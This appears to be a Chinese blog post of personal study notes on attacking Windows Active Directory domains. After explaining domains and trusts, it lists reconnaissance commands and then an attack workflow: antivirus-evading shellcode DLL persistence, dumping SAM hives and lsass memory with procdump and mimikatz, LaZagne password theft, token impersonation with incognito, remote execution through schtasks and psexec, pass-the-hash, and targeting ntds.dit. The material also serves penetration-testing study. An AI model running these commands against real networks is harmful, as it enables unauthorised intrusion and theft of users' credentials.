开始 : )

 


0X01 初识域环境

1、域(Domain):将网络中多台计算机逻辑上组织到一起,进行集中管理,这种区别于工作组的逻辑环境叫做域。

2、为什么产生域:方便系统管理员管理机器。

3、域控:在一个机器装上活动目录以后,这个机器就会被称作域控制器。

在Windows的域中,不使用主域控制器与备份域控制器,每个域控制器充当的都是一样的角色,比如你有三个域控制器,你可以在任何一个域控制器上对用户的权限进行修改,你的修改将被复制到其他两个域控制器中。同样,如果一个域控制器发生故障,只要其他的域控制器还能正常工作,整个域还是可以正常运行。

4、活动目录(Active Directory):存储了有关网络对象的信息,并且让管理员和用户能够轻松地查找和使用这些信息。对象可以是用户,组群,电脑,网域控制站,邮件,配置文件,组织单元,树系等等。

5、域用户:用户名和密码到域控制器去验证,也就是说你的账号密码可以在同一域的任何一台计算机登陆。虽然能登陆,但只是普通用户权限,而非管理员权限,但是可以查询一些信息。这里的登陆指的是IPC连接,而非远程登陆,远程登陆一般需要在管理组里。

6、域管:域管理员,其实就是域用户的高权限,登陆到域控制器上,对一切权限进行控制,而不用跑到每台电脑前进行设置 了。

7、组:公司很多员工的权限都是相同的,那我们可不可以对这些相同的权限只设置一次,然后将该权限分配给相关的员工呢?答案就是使用分组(Group)。将不同的用户放入不同的分组里,然后对组进行权限设置,这样就免去了我们要对每个用户进行设置的麻烦。

8、信任域:在很多的实际情况中,一个公司又有下面的子公司,所以就造成母公司有一个域,而子公司也有一个单独的域。母公司的域与子公司的域如何联系起来呢?我们可以在它们之间建立一种叫信任(Trust)的关系。如果母公司的账户想要能够登陆到子公司的域中,子公司的域就要对母公司的域建立信任关系。当母公司域的账户想要登陆到子公司域中时,子公司域由于信任母公司的域,所以它会听从从母公司域的域控制器返回的access key。反过来,由于母公司的域没有建立对子公司的信任,所以如果子公司的账户想要登陆到母公司的域中是不可能的。可以通过域信任关系,从一个域横向渗透到另一个域。

nltest /domain_trusts   获取域信任信息

0X02 域信息收集

1、nltest信任域:

(1)03系统这个工具不是内置,在03之后的系统这个工具都是内置;

(2)信任域:可以在工作组里查询,查询内网里是否有域环境;

nltest /domain_trusts /all_trusts /v /server:192.168.52.2    (域控IP)返回所有信任192.168.52.2的域

nltest /dsgetdc:XXXXXX /server:192.168.52.2                     返回域控和其相应的IP地址,XXXXXX是上步骤结果中的一个域

(3)nltest的命令:https://www.cnblogs.com/dreamer-fish/p/3473895.html  (对博主表示感谢)

2、csvde

(1)域环境信息收集

(2)csvde是Windows Server 2008的内置命令行工具,位于%windir%/system32文件夹中。如果您安装了AD DS或Active Directory轻型目录服务(AD LDS)服务器角色,则此功能可用。

(3)适用于:WinServer2003、WinServer2003R2、WinServer2008、WinServer2008R2、WinServer2012等

(4)csvde -setspn DomainName -f c:\windows\temp\hack.csv

(5)csvde结果分析:LDAP的存储规则,可以 理解为一个数据库。

(6)区分名(DN,Distinguished Name)一个条目的区分名称叫做“dn”或者叫做区分名。在一个目录中这个名称总是唯一的。

(7)CN=Common Name为用户名或服务器名,最长可以到80个字符,可以为中文;

(8)OU=Organization Unit为组织单元,最多可以有四级,每级最长32个字符,可以为中文;

(9)O=Organization为组织名,可以3-64个字符长;

(10)C=Country为国家名,可选,为2个字符长。

3、setspn

(1)SPN:官方名称即“服务主体名称”,本质上存的就是域内各种服务资源的对应关系

(2)如,对应的服务类型是什么,机器名是多少,服务端口是多少

(3)借助SPN快速定位当前目标域中所有存活的各类服务器

(4)setspn -T DomainName -Q */*

         setspn -T DomainName -Q */*  |  findstr IIS

4、dnsdump

dnsdump.exe -u 域名\域用户 -p 域密码 域控机器名   (域控一般也是DNS服务器)            获取域环境下所有机器对应的IP

5、net

net user /domain                                        获取域用户列表

net group "domain admins" /domain          获取域管理员列表

net group "domain controllers"  /domain    查看域控制器(如果有多台)

net group "domain computers"  /domain    查看域机器

net group /domain                                      查看域里面的组

net view                                                      查看同一域内机器列表

net view \\ip                                                 查看某IP共享

net view  \\GHQ                                           查看GHQ计算机的共享资源列表

net view  /domain                                         查看内网存在多少个域

net view  /domain:XYZ                                 查看XYZ域中的机器列表

6、nbtscan

0X03 域渗透思路

1、横向渗透->权限维持->取密码(获取一个域用户账号密码)->域信息收集->横向渗透->取密码->获取域管权限->拿下域控服务器

2、取到域用户密码相当于这个域渗透成功了一半,取到域管密码这个域渗透就完美的完成了。

3、横向渗透的思路(适用于工作组渗透和域渗透)

初识域渗透

(1)在gayhub上搜:超级弱口令检查工具。

(2)权限维持:dll加载shellcode免杀上线。在MSF中生成shellcode,在C中编译成dll,并调用rundll32运行。这种方法在virustotal上面查看被杀情况。

(3)注册表读取密码:

//获取注册表信息

reg save HKLM\SYSTEM c:\windows\temp\Sys.hiv

reg save HKLM\SAM c:\windows\temp\Sam.hiv

//将文件取回本地,mimikatz运行解密命令

lsadump::sam /sam:Sam.hiv /system:Sys.hiv

(4)lsass读取内存hash。Server2008及以前版本,内存中存放的是口令明文;在之后的版本,内存中是hash。

//lsass进程获取内存hash

//在目标机器执行procdump.exe

procdump.exe -accepteula -ma lsass.exe c:\windows\temp\lsass.dmp

//在mimikatz中运行,结果保存在日志里

mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"

(5)LaZagne

取各种连接工具密码,浏览器保存密码等

https://github.com/AlessandroZ/LaZagne

(6)凭证窃取

比如我们拿下一台机器,是本地用户,通过tasklist /v查看进行用户,如果有域用户起的进行,则凭证窃取,获取域用户的权限。

工具:incognito.exe  在gayhub上搜。

incognito.exe list_tokens -u        查看这台机器上保存了哪些凭证

incognito.exe execute -c "DomainName\UserName"  cmd.exe

whoami

(7)命令行渗透

a、为什么命令行渗透?

  • 远程登陆桌面增加暴露风险;
  • 目标管理员可能对服务器禁用远程登陆。

b、建立IPC连接

  • 可以访问目标机器的文件(上传、下载),也可以在目标机器上运行命令。
  • 上传和下载文件直接通过copy命令就可以,不过路径换成UNC路径。
  • 何为UNC路径?简单来讲以\开头的路径就是UNC路径,比如\192.168.1.2\c$\users。

(8)执行命令,推荐用schtasks计划任务

schtasks /create /tn taskName /U 域\域用户  /P 域用户密码 /tr 执行的命令或者bat路径  /sc ONSTART /s 域机器IP /RU system

schtasks /run /tn taskName /s 域机器IP /U 域\域用户 /P 域用户密码

schtasks /F /delete /tn taskName /s 域机器IP /U 域\域用户  /P  域用户密码

(9)psexec

net use \\192.168.52.2 /u:DomainName\UserName  password*

psexec.exe \\192.168.52.2 -s cmd.exe -accepteula

-accepteula 第一次运行会弹框,输入这个参数便不会弹框

-s 以“nt authority\system”权限运行远程进程

//当hash没有解出来的时候,hash传递攻击

psexec.exe -hashes :用户hash 域名/用户名@目标IP

(10)命令行下载文件

初识域渗透

(11)获取内网代理

内网有些资源可能需要挂指定代理才可以访问:ie代理、pac代理。

reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer

reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v AutoConfigURL

(12)导域hash

Windows的密码是经过hash后存储的,本地存在hklm\sam,hklm\system注册表中

域里面存在域控制器的c:\windows\ntds\ntds.dit中

ntds.dit其实就是个esent数据库,微软本身就有一系列的文档化api能够操作这个数据库

(13)windows api:

利用API 写成一些小工具。所有工具使用前提:建立IPC连接。

NetGroupGetUsers.exe:查询域里的各个组里的成员,IP必须是域控IP,域用户随意。

NetLocalGroupGetMembers.exe:查询目标服务器本地管理组的成员。

NetUserEnum.exe:查询目标服务器所有用户,包括隐藏用户。(这些Exe的名字,也都是api的名字)

 


收获很多,还需要实践一下。

相关文章: